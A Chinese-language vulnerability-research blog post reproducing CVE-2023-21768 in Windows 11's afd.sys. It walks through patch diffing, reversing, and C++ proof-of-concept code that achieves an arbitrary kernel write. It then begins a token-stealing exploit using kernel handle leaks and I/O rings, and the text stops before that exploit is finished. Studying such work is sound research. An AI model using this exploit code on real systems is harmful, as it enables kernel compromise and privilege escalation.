挺久没有复现过漏洞了,在自己github仓库翻到了这个感觉挺有意思的
公众号:
或许我们的公众号会有更多你感兴趣的内容
WinSock 的 Windows 辅助功能驱动程序特权提升漏洞[1],漏洞点位于afd.sys,该漏洞仅在win11版本上有效,具体如下:

我复现的环境是

漏洞点定位
在微软的网站可以找到补丁并下载[2],最好关闭虚拟机中的windows更新后安装,diff对比两个的afd.sys。关于bindiff不支持的ida9.1版本的问题(9.0+用了新的api,不兼容旧的接口),所以改用diaphora[3],将 diaphora整个复制到ida的插件目录plugins就行。具体使用参考[4]


通过对补丁的分析,修复函数为AfdNotifyRemoveIoCompletion

漏洞分析
先根据结果先入为主的讲讲为什么有漏洞,在漏洞函数中
__int64 __fastcall AfdNotifyRemoveIoCompletion( char AccessMode, PVOID Object, volatile void **MmUserProbeAddress)
|
MmUserProbeAddress是一个可以被用户控制的参数,在
v8 = IoRemoveIoCompletion(Object_1, Pool2, P, (unsigned int)n0x10, &i_1, AccessMode, v13, 0); if ( !v8 ) { *(_DWORD *)MmUserProbeAddress[3] = i_1; }
|
用户可以构造一个在MmUserProbeAddress[3]处,指向任意内核地址的指针,这样这段代码就会将i_1的值写入,实现任意地址写
关于IoRemoveIoCompletion函数涉及到端口调用机制的知识点后面会讲。这里需要知道的是 i_1也是可以被我们在MmUserProbeAddress中的参数控制的
而这组合就可以形成任意地址写,再通过任意地址写可以任意地址读
调用链分析
AfdNotifySock(虚函数)->AfdNotifyRemoveIoCompletion
|

有两条路,先看看ioctl的调用


计算偏移得到73位,应该是 AfdImmediateCallDispatch[0x49],另外一个值低位就应该是0x12124,因为最低为被抹除了,所以低位符合均可,但是下面还有段check


所以能用的ioctl是0x12127。根据参数传递找到上层


查找对AfdFastIoDeviceControl的调用又是函数表


计算偏移是AfdFastIoDispatch[10],再查找AfdFastIoDispatch的引用


现在是
DriverObject->FastIoDispatch[10]= AfdFastIoDispatch[10] --> AfdFastIoDeviceControl(.., 0x12124, ...) = AfdImmediateCallDispatch[73] --> AfdNotifySock(v10 = ObReferenceObjectByHandle,且v10 >= 0) --> AfdNotifyRemoveIoCompletion
|
同理从AfdDispatchImmediateIrp
DriverObject->MajorFunction[14] --> AfdDispatchDeviceControl --> AfdIrpCallDispatch --> AfdDispatchImmediateIrp --> AfdNotifySock --> AfdNotifyRemoveIoCompletion
|
整理后的逆向伪代码结果是

PoC编写
现在尝试编写触发的PoC。
按照上面的分析顺序,尝试从FastIoDispatch开始
指向定义驱动程序快速 I/O 入口点 的FAST_IO_DISPATCH结构的指针。 此可选指针指向驱动程序的备用入口点数组,以支持“快速 I/O”。 使用单独的参数直接调用驱动程序例程,而不是使用标准 IRP 调用机制来执行快速 I/O。 请注意,这些函数只能用于同步 I/O,以及缓存文件时。 此成员仅由文件系统驱动程序(FSD)和网络传输驱动程序使用[5]
刚好上面的第10号调用就是PFAST_IO_DEVICE_CONTROL FastIoDeviceControl

尝试再afd.sys中下断点捕获上面分析的AfdNotifyRemoveIoCompletion等函数的正常调用,从正常调用中分析路径

关于参数是
0: kd> k # Child-SP RetAddr Call Site 00 ffffdc8c`b0926dd0 fffff803`80ec727e afd!AfdFastIoDeviceControl+0xf26 01 ffffdc8c`b0927170 fffff803`80ec5816 nt!IopXxxControlFile+0x46e 02 ffffdc8c`b0927380 fffff803`80c2fa68 nt!NtDeviceIoControlFile+0x56 03 ffffdc8c`b09273f0 00007ffc`dc5aeda4 nt!KiSystemServiceCopyEnd+0x28 04 000000fb`fe3fe9a8 00007ffc`d8e391f0 0x00007ffc`dc5aeda4 05 000000fb`fe3fe9b0 000002c9`7263e0b0 0x00007ffc`d8e391f0 06 000000fb`fe3fe9b8 00000000`00000000 0x000002c9`7263e0b0 0: kd> r rax=fffff80384bc0000 rbx=0000000000000000 rcx=0000000000000022 rdx=ffffdd8abf88f001 rsi=0000000000000658 rdi=ffff95064d4a85a0 rip=fffff80384bc6906 rsp=ffffdc8cb0926dd0 rbp=ffffdc8cb09274e0 r8=0000000000000658 r9=0000000000000000 r10=fffff80380ac0ce0 r11=ffff717d0a800000 r12=0000000000000000 r13=ffff95064d032a70 r14=0000000000000001 r15=000000000001208b
|
发现调用来自edge浏览器

.process /r /p ffff95064d4570c0进去看看

出现了mswsock,搜了搜有如下介绍:
AFD.sys——即“辅助功能驱动程序”(Ancillary Function Driver)——是一个体积虽小却至关重要的 Windows 内核驱动程序。它位于 C:\Windows\System32\drivers 目录下,并随系统一同启动;其核心职能是将应用程序发出的 Winsock 调用(如 send、recv、connect 等)翻译为底层系统能够理解的 IRP(I/O 请求包),随后由 tcpip.sys 及相关组件接手处理。一旦该文件缺失,浏览器、Spotify 或远程桌面等应用程序将无法感知网络连接——所有的 TCP/UDP 流量也将随之彻底中断[6]

所有我们可以使用创建Tcp连接来使用afd.sys。类似的发现getsockname也可以走到这里,这样编写就容易些了

使用如下代码测试
void createSocket() { WSADATA wsa; WSAStartup(MAKEWORD(2, 2), &wsa);
SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
sockaddr_in addr = { 0 };
addr.sin_family = AF_INET; addr.sin_addr.s_addr = INADDR_ANY;
addr.sin_port = 0;
bind(s, (sockaddr*)&addr, sizeof(addr));
sockaddr_in localAddr; int len = sizeof(localAddr);
getsockname( s, (sockaddr*)&localAddr, &len );
std::cout << "Assigned port: " << ntohs(localAddr.sin_port) << "\n";
closesocket(s); WSACleanup();
return; }
|

尝试触发漏洞函数
现在尝试用NtDeviceIoControlFile的方式写一写
在ws2_32.dll中使用getsockname是

相比原始参数多穿了一个buffer,然后根据堆栈调用发现mswsock中

没招了,结构体有点复杂,动调试试
1: kd> g Breakpoint 3 hit mswsock!WSPGetSockName+0x19e: 0033:00007ffc`d8e3c66e 0f1f440000 nop dword ptr [rax+rax] 1: kd> r rax=0000000000000000 rbx=0000000000000000 rcx=00007ffcdc5aeda4 rdx=0000000000000000 rsi=000000954f0ff790 rdi=000001c38f38c540 rip=00007ffcd8e3c66e rsp=000000954f0ff6d0 rbp=000000954f0ff888 r8=000000954f0ff6c8 r9=0000000000000000 r10=0000000000000000 r11=0000000000000246 r12=000001c38f37bf00 r13=00000000000000f8 r14=000001c38f38c620 r15=000001c38f38c620 iopl=0 nv up ei pl zr na pe nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 mswsock!WSPGetSockName+0x19e: 0033:00007ffc`d8e3c66e 0f1f440000 nop dword ptr [rax+rax]
|
-
*(HANDLE *)(v10 + 8):00000000`000000f8

?居然和socket的值一样


-
Value[2]:00000000`00000000

-
OutputBufferLength:00000000`00000010


NtDeviceIoControlFile( reinterpret_cast<HANDLE>(s), NULL, nullptr, nullptr, &IoStatusBlock, 0x1202F, nullptr, 0, output, 0x10);
|



这里对v65的检查没有过,经过使用getsockname的调试发现是正常的


计算发现使用ioctl的0x1202F可以到达,并且0xb的结果也符合

那我们不探究为什么getsockname函数表为空这个问题,直接使用0x12127试试看


成功召唤AfdNotifySock,但是走不进AfdNotifyRemoveIoCompletion,应该是参数有点问题

参数逆向
AfdNotifySock
AfdNotifySock函数调用的参数是
AfdNotifyRemoveIoCompletion( AccessMode, Object__1, (volatile void **)MmUserProbeAddress_1 )
|
这里我先假设结构体
struct afdStruct { HANDLE validHandle; char unknown[24]; DWORD loopCount1; char unknownx[256]; };
|
其中有条件,但是按照之前的传值AccessMode=1=UserMode(正常调用getsockname中的r14寄存器)
MmUserProbeAddress_1 = MmUserProbeAddress; if ( AccessMode ) { if ( (unsigned __int64)MmUserProbeAddress >= ::MmUserProbeAddress ) MmUserProbeAddress_1 = (afdStruct *)::MmUserProbeAddress; v29 = *(_OWORD *)&MmUserProbeAddress_1->validHandle; v30 = *(_OWORD *)&MmUserProbeAddress_1->unknown[8]; v31 = *(_OWORD *)&MmUserProbeAddress_1->loopCount1; MmUserProbeAddress_1 = (afdStruct *)&v29; }
|
对于KernelMode且用户态地址合法,MmUserProbeAddress_1指向MmUserProbeAddress在栈上的复制的值,避免直接使用用户态内存MmUserProbeAddress造成的UAF(会不会这里出现过事故😂)
接下来就是一堆对用户传过来的结构体的判断
if ( !MmUserProbeAddress_1->loopCount1 ) goto retError; if ( *(_DWORD *)&MmUserProbeAddress_1->unknownx[4] ) { if ( !*(_QWORD *)&MmUserProbeAddress_1->unknown[16] || !*(_QWORD *)&MmUserProbeAddress_1->unknown[8] ) goto retError; } else if ( *(_QWORD *)&MmUserProbeAddress_1->unknown[8] || *(_DWORD *)MmUserProbeAddress_1->unknownx ) { retError: v10 = 0xC000000D; goto LABEL_45; }
|
根据其含义修改下结构体
struct afdStruct { HANDLE validHandle; char unknown1[8]; DWORD64 val1; DWORD64 val2; DWORD loopCount1; DWORD val3; DWORD val4; };
|
得到
if ( !MmUserProbeAddress_1->loopCount1 ) goto retError; if ( MmUserProbeAddress_1->val4 ) { if ( !MmUserProbeAddress_1->val2 || !MmUserProbeAddress_1->val1 ) goto retError; } else if ( MmUserProbeAddress_1->val1 || MmUserProbeAddress_1->val3 ) { retError: v10 = 0xC000000D; goto LABEL_45; }
|
推导出一条可行的条件,基本上全为0了
MmUserProbeAddress_1->loopCount1 != 0 MmUserProbeAddress_1->val4 = 0 MmUserProbeAddress_1->val1 = 0 MmUserProbeAddress_1->val3 = 0
|
在这里尝试编写下代码
typedef struct _afdStruct { HANDLE validHandle; char unknown1[8]; DWORD64 val1; DWORD64 val2; DWORD loopCount1; DWORD val3; DWORD val4; }afdStruct, * pAfdStruct;
void createSocket() { WSADATA wsa; WSAStartup(MAKEWORD(2, 2), &wsa);
SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
sockaddr_in addr = { 0 };
addr.sin_family = AF_INET; addr.sin_addr.s_addr = INADDR_ANY;
addr.sin_port = 0;
bind(s, (sockaddr*)&addr, sizeof(addr));
sockaddr_in localAddr; int len = sizeof(localAddr);
char output[0x1000] = { 0 }; _IO_STATUS_BLOCK IoStatusBlock = { 0 }; IoStatusBlock.Information = 0x10; afdStruct input = { 0 }; input.validHandle = reinterpret_cast<HANDLE>(s); input.loopCount1 = 1;
getchar(); NtDeviceIoControlFile(reinterpret_cast<HANDLE>(s), NULL, nullptr, nullptr, &IoStatusBlock, 0x12127, reinterpret_cast<PVOID>(&input), sizeof(afdStruct), nullptr, 0x00); std::cout << "Assigned port: " << ntohs(localAddr.sin_port) << "\n";
closesocket(s); WSACleanup(); }
|
成功走到ObReferenceObjectByHandle

但是调用失败,STATUS_OBJECT_TYPE_MISMATCH,对象类型不匹配

若v10满足条件,则ObReferenceObjectByHandle就必须调用成功
Handle = MmUserProbeAddress_1->validHandle; Object_ = 0; v10 = ObReferenceObjectByHandle( Handle, 2u, IoCompletionObjectType, AccessMode, &Object_, 0);
if ( v10 >= 0 ) {
v10 = AfdNotifyRemoveIoCompletion( AccessMode, Object__1, (volatile void **)&MmUserProbeAddress_1->validHandle ); }
|
ObReferenceObjectByHandle: 根据用户传入的 HANDLE,查找对应的内核对象,校验类型与权限,然后返回对象指针(返回到Object_)并增加引用计数
NTSTATUS ObReferenceObjectByHandle( [in] HANDLE Handle, [in] ACCESS_MASK DesiredAccess, [in, optional] POBJECT_TYPE ObjectType, [in] KPROCESSOR_MODE AccessMode, [out] PVOID *Object, [out, optional] POBJECT_HANDLE_INFORMATION HandleInformation );
|
在IoCompletionObjectType下的HANDLE类型必须对应一个 IoCompletion 对象。ChatGPT顺带给出了如下回答
4. 用户态如何创建 IoCompletion 用户态:
HANDLE h = CreateIoCompletionPort( INVALID_HANDLE_VALUE, NULL, 0, 0 );
|
尝试讲afdstruct的handle换成CreateIoCompletionPort创建的调用成功

本以为后续没有阻拦了,结果发现了try catch块,还是得小心调整代码

发现结构体需要更新
struct afdStruct { HANDLE validHandle; void *ptr; DWORD64 val1; DWORD64 val2; DWORD loopCount1; DWORD val3; DWORD val4; char unknownx[256]; };
|

如果ptr是nullptr就会出现空指针访问,重新编写代码,设置ptr为为任意一个存在的指针

AfdNotifyRemoveIoCompletion
参数中ida默认传递了afdStruct的handle地址,其实就是把afdStruct传递过去
val4 = MmUserProbeAddress->val4; if ( !val4 ) goto EXIT; Length_1 = 0x20 * val4; if ( is_mul_ok(val4, 0x20u) ) { ntstatus = STATUS_SUCCESS; Length = -1; } if ( ntstatus >= 0 ) {
Length = Length_1; n4 = 8; ProbeForWrite(MmUserProbeAddress->val1, Length, n4);
Pool2 = MmUserProbeAddress->val1; Pool2_2 = Pool2; LABEL_20: val3 = MmUserProbeAddress->val3; if ( val3 == -1 ) { v13 = 0; } else { v24 = -10000 * val3; v13 = &v24; } if ( val4 > 0x10 ) { P = ExAllocatePool2(66, 8LL * val4, 1315202625); P_2 = P; if ( P ) goto LABEL_27; LODWORD(val4) = 16; } P = P_1; P_2 = P_1; LABEL_27: ntstatus = IoRemoveIoCompletion(Object_1, Pool2, P, val4, &i_1, shouldBeUserMode, v13, 0);
|
再结合之前的条件
MmUserProbeAddress->val4 != 0 MmUserProbeAddress->val2 != 0 MmUserProbeAddress->val1 != 0 (是一个合法地址)
|
构造结构体
typedef struct _afdStruct { HANDLE validHandle; void* ptr; void* valPtr1; DWORD64 val2; DWORD loopCount1; DWORD val3; DWORD val4; }afdStruct, * pAfdStruct;
afdStruct input = { 0 }; char junkbuffer[0x1000] = { 0 }; char junkbuffer2[0x1000] = { 0 }; input.validHandle = ioh; input.loopCount1 = 1; input.valPtr1 = reinterpret_cast<void*>(junkbuffer2); input.val2 = 1; input.val4 = 1; input.ptr = reinterpret_cast<void*>(junkbuffer);
|

成功触发IoRemoveIoCompletion

3: kd> r rax=0000000000000102 rbx=0000009cd4afd970 rcx=f96281d095f90000 rdx=0000000000000102 rsi=ffffd50925fd6a10 rdi=ffffd50925fd6a30 rip=fffff8047068fb07 rsp=ffffd50925fd69b0 rbp=ffffd50925fd74e0 r8=0000000000000001 r9=ffffd50925fd6a10 r10=0000000000000000 r11=ffffd50925fd6480 r12=0000000000000001 r13=0000000000000020 r14=ffffd50925fd6d60 r15=0000000000000001 iopl=0 nv up ei ng nz na po nc cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040282 afd!AfdNotifyRemoveIoCompletion+0x1eb: fffff804`7068fb07 8bf0 mov esi,eax
|

明显让IoRemoveIoCompletion返回0才行。这里返回0000000000000102是STATUS_TIMEOUT,consumer 等不到 producer。
关于IoRemoveIoCompletion搜索发现深入解析Windows操作系统[8]有线索(Part1的6.4.7 I/O完成端口)


我们需要给这个创建的io分配一个完成包,使用NtSetIoCompletion或者PostQueuedCompletionStatus可以做到
4. 动态链接(使用 NtSetIoCompletion) 方法 1:从 ntdll 获取 typedef NTSTATUS (NTAPI *NtSetIoCompletion_t)( HANDLE, PVOID, PVOID, NTSTATUS, ULONG_PTR ); NtSetIoCompletion_t NtSetIoCompletion = (NtSetIoCompletion_t)GetProcAddress( GetModuleHandleA("ntdll.dll"), "NtSetIoCompletion" ); 5. 也可以直接用 WinAPI(推荐)
更安全标准方式:
PostQueuedCompletionStatus( hPort, 0x100, (ULONG_PTR)0x1111, (LPOVERLAPPED)0x2222 );
本质等价于:
NtSetIoCompletion
|
typedef NTSTATUS(NTAPI* NtSetIoCompletion_t)( HANDLE, PVOID, PVOID, NTSTATUS, ULONG_PTR );
NtSetIoCompletion_t NtSetIoCompletion = (NtSetIoCompletion_t)GetProcAddress( GetModuleHandleA("ntdll.dll"), "NtSetIoCompletion" );
NtSetIoCompletion( ioh, nullptr, nullptr, 0, 0x1 );
|

最后成功触发漏洞

现在回过头来看ida的伪代码就清楚很多了

MmUserProbeAddress->val2可以设置为我们想要写入的地址,写入值i_1是IoRemoveIoCompletion决定的。但是这里的IoRemoveIoCompletion是extern的函数,用cff看下pe的iat表在那个外部dll中

再ida中分析下函数的赋值情况



最后i_1的值取决于
v10 = KeRemoveQueueEx(Object, shouldBeUserMode, shouldBe0, Timeout, P, val4);
|
在KeRemoveQueueEx继续追踪


如果链表长度足够,那么count_1最后会变为val4的值然后返回

写代码试试,首先更新结构体定义
struct afdStruct { HANDLE validHandle; void *ptr; void *valPtr1; void *valPtr2; DWORD loopCount1; DWORD val3; DWORD val4; char unknownx[256]; };
|
尝试写入0x1
void createSocket() { WSADATA wsa; WSAStartup(MAKEWORD(2, 2), &wsa);
SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
sockaddr_in addr = { 0 };
addr.sin_family = AF_INET; addr.sin_addr.s_addr = INADDR_ANY;
addr.sin_port = 0;
bind(s, (sockaddr*)&addr, sizeof(addr));
sockaddr_in localAddr; int len = sizeof(localAddr);
char output[0x1000] = { 0 }; _IO_STATUS_BLOCK IoStatusBlock = { 0 }; IoStatusBlock.Information = 0x10;
HANDLE ioh = CreateIoCompletionPort( INVALID_HANDLE_VALUE, NULL, 0, 0 );
NtSetIoCompletion_t NtSetIoCompletion = (NtSetIoCompletion_t)GetProcAddress( GetModuleHandleA("ntdll.dll"), "NtSetIoCompletion" );
NtSetIoCompletion( ioh, nullptr, nullptr, 0, 0x1 );
afdStruct input = { 0 }; char junkbuffer[0x1000] = { 0 }; char junkbuffer2[0x1000] = { 0 }; char junkbuffer3[0x1000] = { 0 }; input.validHandle = ioh; input.loopCount1 = 1; input.valPtr1 = reinterpret_cast<void*>(junkbuffer2); input.valPtr2 = reinterpret_cast<void*>(junkbuffer3); input.val4 = 1; input.ptr = reinterpret_cast<void*>(junkbuffer);
getchar(); NtDeviceIoControlFile(reinterpret_cast<HANDLE>(s), NULL, nullptr, nullptr, &IoStatusBlock, 0x12127, reinterpret_cast<PVOID>(&input), sizeof(afdStruct), nullptr, 0x00); std::cout << "Assigned port: " << ntohs(localAddr.sin_port) << "\n"; Debug::HexDump(junkbuffer3, 0x30);
closesocket(s); WSACleanup(); }
|

将input.val4 = 2;调试后发现需要构造完整的io完成包
NtSetIoCompletion( ioh, nullptr, nullptr, 0, 0x1 ); NtSetIoCompletion( ioh, nullptr, nullptr, 0, 0x1 );
afdStruct input = { 0 }; char junkbuffer[0x1000] = { 0 }; char junkbuffer2[0x1000] = { 0 }; char junkbuffer3[0x1000] = { 0 }; input.validHandle = ioh; input.loopCount1 = 1; input.valPtr1 = reinterpret_cast<void*>(junkbuffer2); input.valPtr2 = reinterpret_cast<void*>(junkbuffer3); input.val4 = 2; input.ptr = reinterpret_cast<void*>(junkbuffer);
|

经过后续的修改发现比较稳定的结果是0x140=320,可能是使用NtSetIoCompletion一次最多能放入生产者消费者队列的大小,并且也有概率失败。
DWORD expectVal = 0x140; for (size_t i = 0; i < expectVal; i++) {
NTSTATUS ret = NtSetIoCompletion( ioh, nullptr, nullptr, 0, 0x1 ); if (!NT_SUCCESS(ret)) { std::cout << "[!] error at index." << std::hex << i << std::dec << "\n"; break; } } Sleep(expectVal * 5);
input.val4 = expectVal;
|


这种限制导致我们只能实现任意单字节的写,并且非常不稳定。不过我们依旧能够实现任意地址写0x1。
精简一些写为PoC,完整内容在:https://github.com/Joe1sn/CVE_2023_21768
bool PoC() { WSADATA wsa; WSAStartup(MAKEWORD(2, 2), &wsa);
SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
sockaddr_in addr = { 0 };
addr.sin_family = AF_INET; addr.sin_addr.s_addr = INADDR_ANY;
addr.sin_port = 0;
bind(s, (sockaddr*)&addr, sizeof(addr));
sockaddr_in localAddr; int len = sizeof(localAddr);
char output[0x1000] = { 0 }; _IO_STATUS_BLOCK IoStatusBlock = { 0 }; IoStatusBlock.Information = 0x10;
HANDLE ioh = CreateIoCompletionPort( INVALID_HANDLE_VALUE, NULL, 0, 0 );
NtSetIoCompletion_t NtSetIoCompletion = (NtSetIoCompletion_t)GetProcAddress( GetModuleHandleA("ntdll.dll"), "NtSetIoCompletion" ); DWORD expectVal = 2; for (size_t i = 0; i < expectVal; i++) {
NTSTATUS ret = NtSetIoCompletion( ioh, nullptr, nullptr, 0, 0x1 ); if (!NT_SUCCESS(ret)) { std::cout << "[!] error at index." << std::hex << i << std::dec << "\n"; break; } }
Sleep(expectVal * 8);
afdStruct input = { 0 }; char junkbuffer[0x1000] = { 0 }; char junkbuffer2[0x1000] = { 0 }; char junkbuffer3[0x1000] = { 0 }; input.validHandle = ioh; input.loopCount1 = 1; input.valPtr1 = reinterpret_cast<void*>(junkbuffer2); input.valPtr2 = reinterpret_cast<void*>(junkbuffer3); input.val4 = expectVal; input.ptr = reinterpret_cast<void*>(junkbuffer);
NtDeviceIoControlFile(reinterpret_cast<HANDLE>(s), NULL, nullptr, nullptr, &IoStatusBlock, 0x12127, reinterpret_cast<PVOID>(&input), sizeof(afdStruct), nullptr, 0x00); std::cout << "Assigned port: " << ntohs(localAddr.sin_port) << "\n"; Debug::HexDump(junkbuffer3, 0x20); std::cout << "[*] expect: 0x" << std::hex << expectVal << ", arbitrary write to 0x" << *reinterpret_cast<DWORD*>(junkbuffer3) << std::dec << "\n"; if (*reinterpret_cast<DWORD*>(junkbuffer3) == expectVal) { std::cout << "==========================================================\n"; std::cout << "====congratulations===congratulations===congratulations===\n"; std::cout << "==========================================================\n"; std::cout << "[WIN] vulnerable with " << CVE_2023_21768::name << "\n"; std::cout << "[WIN] pathch for this vuln is at " << CVE_2023_21768::mslink << "\n"; return true; } closesocket(s); WSACleanup(); return false; }
|

EXP编写
关于句柄表
我们的目的是进行提权,所以需要知道内核和Ring3进程中Token的位置。对于一个进程存在着一个句柄表。在EPROCESS->ObjectTable中

可以通过NtQuerySystemInfomation遍历任意进程的句柄表。同时通过调试发现对应进程EPROCESS的地址句柄的值为4

尝试编写查询句柄内核地址的代码
bool FindHandleObject(DWORD targetPid, ULONG_PTR targetHandle, ULONG_PTR result) { auto NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress( GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation" );
if (!NtQuerySystemInformation) { std::cout << "[-] Failed to get NtQuerySystemInformation\n"; return false; }
ULONG bufferSize = 0x10000; std::vector<BYTE> buffer(bufferSize);
NTSTATUS status; ULONG returnLength = 0;
while (true) { status = NtQuerySystemInformation( (SYSTEM_INFORMATION_CLASS)SystemExtendedHandleInformation, buffer.data(), bufferSize, &returnLength );
if (status == STATUS_INFO_LENGTH_MISMATCH) { bufferSize *= 2; buffer.resize(bufferSize); continue; }
break; }
if (!NT_SUCCESS(status)) { std::cout << "[-] NtQuerySystemInformation failed: " << std::hex << status << std::endl; return false; }
auto handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)buffer.data();
for (ULONG_PTR i = 0; i < handleInfo->NumberOfHandles; i++) { auto& entry = handleInfo->Handles[i];
if ((DWORD)entry.UniqueProcessId != targetPid) continue;
if (entry.HandleValue != targetHandle) continue;
*reinterpret_cast<DWORD64*>(result) = \ reinterpret_cast<DWORD64>(entry.Object); return true; }
std::cout << "[-] Handle not found\n"; return false; }
|

任意地址读写
由上可以得到system和ring3进程的token地址,但是要想提权还得读取到system的token值。问了问GPT如何存在任意地址写1有什么利用方式,比较稳妥的有IO Ring的利用,也是[9]使用的方法

IO Ring 使用
简而言之,I/O 环是一种新的异步 I/O 机制,它允许应用程序将多达 0x10000 个 I/O 操作排队,并使用单个 API 调用一次性提交它们。[10]
就是将原来的io操作从召唤syscal进行 rw,变成了向内核提交任务到任务队列(SQ,Submission Queue),内核消费完成后,写到完成队列(CQ,Completion Queue)。两个队列均是循环队列。

具体来说的话,创建一个ioring会在ring3和ring0同时创建两个结构体

HIORING->RegBufferArray 就是 IORING_OBJECT->RegBuffers
HIORING->BufferArraySize就是IORING_OBJECT->RegBuffersCount
并且每个队列条目(NT_IORING_SQE)都包含有关所请求操作的数据:文件句柄(HANDLE)、文件偏移量(FileOFfset)、输出缓冲区基址(Buffer)、偏移量(BufferOffset)以及要读取的数据量(BufferSize)。它还包含一个OpCode用于指定所请求操作的字段。
我是爱写demo的,写一个试试,还是直接用[10]中的IoRingKernelBase调试,稍微修改了下
void ioCompletionTest() { HRESULT result; HIORING handle; IORING_CREATE_FLAGS flags; IORING_HANDLE_REF requestDataFile = IoRingHandleRefFromHandle(NULL); IORING_BUFFER_REF requestDataBuffer = IoRingBufferRefFromPointer(NULL); UINT32 submittedEntries; HANDLE hFile = NULL; ULONG sizeToRead = 0x200; PVOID* buffer = NULL; ULONG64 endOfBuffer;
flags.Required = IORING_CREATE_REQUIRED_FLAGS_NONE; flags.Advisory = IORING_CREATE_ADVISORY_FLAGS_NONE; result = CreateIoRing(IORING_VERSION_1, flags, 1, 1, &handle); if (!SUCCEEDED(result)) { printf("Failed creating IO ring handle: 0x%x\n", result); goto Exit; } ULONG_PTR ioRingKernelAddr; printf("result kernel addr %p\n", exploit::memtools::FindHandleObject(GetCurrentProcessId(), *reinterpret_cast<HANDLE*>(&handle+), reinterpret_cast<ULONG_PTR>(&ioRingKernelAddr))); getchar(); hFile = CreateFile(L"C:\\Windows\\System32\\notepad.exe", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { printf("Failed opening file handle: 0x%x\n", GetLastError()); goto Exit; } requestDataFile = IoRingHandleRefFromHandle(hFile); buffer = (PVOID*)VirtualAlloc(NULL, sizeToRead, MEM_COMMIT, PAGE_READWRITE); if (buffer == NULL) { printf("Failed to allocate memory\n"); goto Exit; } requestDataBuffer = IoRingBufferRefFromPointer(buffer); result = BuildIoRingReadFile(handle, requestDataFile, requestDataBuffer, sizeToRead, 0, NULL, IOSQE_FLAGS_NONE); if (!SUCCEEDED(result)) { printf("Failed building IO ring read file structure: 0x%x\n", result); goto Exit; }
result = SubmitIoRing(handle, 1, 10000, &submittedEntries); if (!SUCCEEDED(result)) { printf("Failed submitting IO ring: 0x%x\n", result); goto Exit; } printf("Data from file:\n"); endOfBuffer = (ULONG64)buffer + sizeToRead; for (; (ULONG64)buffer < endOfBuffer; buffer++) { printf("%p ", *buffer); } printf("\n");
Exit: if (handle != 0) { CloseIoRing(handle); } if (hFile) { NtClose(hFile); } if (buffer) { VirtualFree(buffer, NULL, MEM_RELEASE); } }
|
在nt!NtCreateIoRing下断点,它会调用ntkrnlmp!ObCreateObjectEx创建内核对象,这个函数原型大致为
NTSTATUS ObCreateObjectEx( KPROCESSOR_MODE ProbeMode, POBJECT_TYPE ObjectType, POBJECT_ATTRIBUTES ObjectAttributes, KPROCESSOR_MODE OwnershipMode, PVOID ParseContext, ULONG ObjectSize, ULONG PagedPoolCharge, ULONG NonPagedPoolCharge, PVOID *Object, OB_EXTENDED_PARSE_PARAMETERS *ExtendedParameters );
|
PVOID *Object参数就是返回的对象指针的指针(所以要找两次),最终指向的Object的Body部分,并且参数位于第9个,是返回在栈上的:
3: kd> dq rsp+40 L1 ffffd509`238671b0 ffffd509`238671c8 3: kd> dq ffffd509`238671c8 L1 ffffd509`238671c8 ffff9f82`2dac18f0
|
等到NtCreateIoRing初始化完成就可以看到了,使用!object可以自动找到对应的Object的Header部分,但是 _IORING_OBJECT是在body部分
3: kd> !object ffff9f82`2dac18f0 Object: ffff9f822dac18f0 Type: (ffff9f822dc36400) IoRing ObjectHeader: ffff9f822dac18c0 (new version) HandleCount: 1 PointerCount: 1
|
使用标志符看看
3: kd> dt nt!_IORING_OBJECT ffff9f822dac18f0 +0x000 Type : 0n14 +0x002 Size : 0n208 +0x008 UserInfo : _NT_IORING_INFO +0x038 Section : 0xffffb203`3b065ad0 Void +0x040 SubmissionQueue : 0xfffff804`8e7e0000 _NT_IORING_SUBMISSION_QUEUE +0x048 CompletionQueueMdl : 0xffff9f82`348518c0 _MDL +0x050 CompletionQueue : 0xffffe780`a217e250 _NT_IORING_COMPLETION_QUEUE +0x058 ViewSize : 0x1000 +0x060 InSubmit : 0n0 +0x068 CompletionLock : 0 +0x070 SubmitCount : 0 +0x078 CompletionCount : 0 +0x080 CompletionWaitUntil : 0 +0x088 CompletionEvent : _KEVENT +0x0a0 SignalCompletionEvent : 0 '' +0x0a8 CompletionUserEvent : (null) +0x0b0 RegBuffersCount : 0 +0x0b8 RegBuffers : (null) +0x0c0 RegFilesCount : 0 +0x0c8 RegFiles : (null) 3: kd> dt _NT_IORING_INFO 0xffff9f822dac18f8 nt!_NT_IORING_INFO +0x000 IoRingVersion : 1 ( IORING_VERSION_1 ) +0x004 Flags : _NT_IORING_CREATE_FLAGS +0x00c SubmissionQueueSize : 8 +0x010 SubmissionQueueRingMask : 7 +0x014 CompletionQueueSize : 0x10 +0x018 CompletionQueueRingMask : 0xf +0x020 SubmissionQueue : 0x000001d8`73080000 _NT_IORING_SUBMISSION_QUEUE +0x028 CompletionQueue : 0x000001d8`73080250 _NT_IORING_COMPLETION_QUEUE
|

现在attach到ring3看看返回的HIORING handle
typedef struct _HIORING { HANDLE handle; NT_IORING_INFO Info{ ULONG Version; IORING_CREATE_FLAGS Flags; ULONG SubmissionQueueSize; ULONG SubQueueSizeMask; ULONG CompletionQueueSize; ULONG CompQueueSizeMask; PIORING_QUEUE_HEAD SubQueueBase; PVOID CompQueueBase; } ULONG IoRingKernelAcceptedVersion; PVOID RegBufferArray; ULONG BufferArraySize; PVOID FileHandleArray; ULONG FileHandlesCount; ULONG SubQueueHead; ULONG SubQueueTail; } HIORING, *PHIORING;
|
内存中如下,并且SubQueueHead和SubQueueTail和内核中Info记录的ring3的提交(SubmissionQueue)与完成(CompletionQueue)队列是相同的
